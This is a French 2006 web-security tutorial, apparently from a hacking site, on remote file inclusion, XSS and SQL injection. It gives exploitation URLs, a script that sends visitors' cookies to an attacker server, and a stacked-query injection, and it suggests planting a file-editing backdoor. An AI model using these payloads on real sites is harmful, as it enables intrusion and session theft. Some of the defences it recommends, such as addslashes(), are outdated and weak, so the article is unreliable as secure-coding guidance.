Principales failles de sécurité du web

Ecrit par tchess, le 13 Feb 2006 dans la catégorie Sécurité Informatique / Hacking

Dans cet article, vous trouverez les explications pour la mise en oeuvre des principales failles du web. Si une faille de sécurité vous vient à l'esprit, vous pouvez contacter les noxistes pour que nous complétions cet article. Les failles de sécurité traitées pour le moment sont :

La faille Include

La faille Include s'attaque aux sites qui utilisent la fonction include() dont le paramètre contient une variable définie dans l'URL :
<?php
 include($_GET['page']); // http://www.victime.com/index.php?page=page1.php
 include($_GET['page'].".php"); // http://www.victime.com/index.php?page=page1
?>

Le principe consiste à faire inclure un fichier comportant du code PHP par le script de la victime. Notre code PHP va donc être interprété par le serveur de la victime, ce qui va nous permettre beaucoup de choses ;)
L'URL demandée ressemblera donc à : http://www.victime.com/index.php?page=http://www.nous.com/codePHP.txt
Note : Notre code PHP sera contenu dans un fichier .txt ou .html par exemple pour ne pas être interprété par nous.com (merci à kust ;))

Dans le cas du rajout du .php dans la fonction include(), l'URL sera légérement différente :
http://www.victime.php/index.php?page=http://www.nous.com/codePHP.txt?page=hehe
Le paramètre de la fonction deviendra donc : http://www.nous.com/codePHP.txt?page=hehe.php. Le .php devient donc inutile.

Exemple d'exploitation

Le code du index.php de victime.com :
<html>
<head><title>Welcome to victime.com</title></head>
<body>
<?php
 include("menu.php");
 include($_GET['page'].".php");
?>
</body>
</html>
codePHP.txt sur nous.com :
<?php
 phpinfo();
?>


Voilà un exemple mais on peut aller bien plus loin qu'un phpinfo(). Ecrire un fichier .controle.php qui nous servira pour editer/créer/supprimer des fichiers sur le serveur.
On peut ensuite se servir du serveur pour récupérer des mots de passe, s'en servir pour lancer un vers, stockage de fichiers, ...

Protection

Pour s'en protéger, il faut filtrer les fichiers demandés. Si les visiteurs peuvent afficher tous les fichiers du serveur, il suffit de faire ceci :
include("./".$_GET['page'].".php");
Mais l'accès à un répertoire admin/ n'est pas exclu. Une protection vraiment efficace est une protection telle que celle-ci :
<?php
 switch($_GET['page']) {
  case "page1.php" : include("page1.php"); break;
  // ...
  default : include("accueil.php");
 }
?>


La faille XSS (Cross-Site Scripting)

La faille XSS consiste à "déposer" du code Javascript sur un site où le HTML est autorisé (livre d'or, forum, minichat, ...). Par ce code JS, on peut récupérer le contenu d'un cookie par exemple. Cookie qui peut contenir un mot de passe :D
Si la balise <script> est bloquée, pas de panique, il suffit de créer un élément réagissant en éxécutant du code JavaScript lors d'un événement (ex : <div style="position: absolute; top: 0; left: 0; height: 1000px; width: 1000px;" onMouseOver="javascript:alert()"></div>)
Trêve de blablatage, place à l'exemple ;)

Exemple d'exploitation

On place sur un livre d'or :
<script>
 window.open("http://www.nous.com/recup_cookie.php?contenu=" + document.cookie)
</script>


Ce script ouvrira une fenêtre qui appellera une page de notre serveur. On pourra ainsi récupérer le contenu du cookie d'un visiteur passant sur le livre d'or.

Protection

La meilleure protection est l'utilisation de la fonction htmlentities() sur les variables entrées par les utilisateurs.

L'Injection SQL

Comme la faille Include, l'injection SQL demande une variable passée par l'utilisateur (URL ou formulaire) mais cette fois-ci c'est la fonction mysql_query() qui est touchée quand elle est mal utilisée.
Prenons cet appel de mysql_query :
mysql_query("SELECT * FROM users WHERE id = $id");

La faille consiste à donner une valeur à la variable (ou aux variables) de manière à éxécuter une deuxième (ou plus) requête sur le serveur MySQL.
Dans notre exemple, si $id est passée dans l'URL et qu'on demande la page suivante :
http://www.victime.com/index.php?id=1;INSERT INTO table VALUES('','valeur','valeur1')
La requête devient :
SELECT * FROM users WHERE id = 1;INSERT INTO table VALUES('','valeur','valeur1')

Imaginez maintenant un script PHP comportant cette faille et qui utilise eval(), ou tout simplement une table comportant les utilisateurs autorisés dans la partie administration d'un site.

Protection

Pour protéger ses requêtes, il faut "entourer" les variables de ' ou " et utiliser addslashes() :
mysql_query("SELECT * FROM users WHERE pseudo = '".addslashes($pseudo)."'");

Plus de failles ?

Contactez les noxistes si vous avez des idées ;).

Si vous avez un commentaire à faire à l'auteur de cet article, cliquez ici !